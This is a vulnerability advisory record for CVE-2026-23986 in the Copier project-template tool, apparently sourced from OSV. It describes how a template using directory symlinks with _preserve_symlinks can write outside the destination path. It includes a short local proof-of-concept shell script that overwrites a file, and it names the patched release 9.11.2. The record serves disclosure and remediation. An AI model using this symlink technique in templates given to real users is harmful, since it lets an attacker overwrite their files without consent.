---
id: CVE-2026-23986
aliases:
  - GHSA-4fqp-r85r-hxqh
  - PYSEC-2026-1272
title: >-
  Copier safe template has arbitrary filesystem write access via directory
  symlinks when _preserve_symlinks: true 
summary: >-
  Copier safe template has arbitrary filesystem write access via directory
  symlinks when _preserve_symlinks: true 
severity: high
cvss: 7.1
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H'
vendor: copier
product: copier
ecosystem: pip
affected:
  - copier < 9.11.2
patched:
  - copier 9.11.2
published: '2026-01-21'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-4fqp-r85r-hxqh'
references:
  - url: >-
      https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-23986'
  - url: >-
      https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6
  - url: 'https://github.com/copier-org/copier'
  - url: 'https://github.com/copier-org/copier/releases/tag/v9.11.2'
tags:
  - osv
  - pip
epss: 0.00264
epssPercentile: 0.16262
ingestedAt: '2026-07-08T18:25:45.479Z'
---

## Overview

### Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

> [!NOTE]
>
> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

```shell
mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten
```

### Patches

n/a

### Workarounds

n/a

### References

n/a

## Affected packages

- `copier < 9.11.2`

## Remediation

Upgrade to a patched release:

- `copier 9.11.2`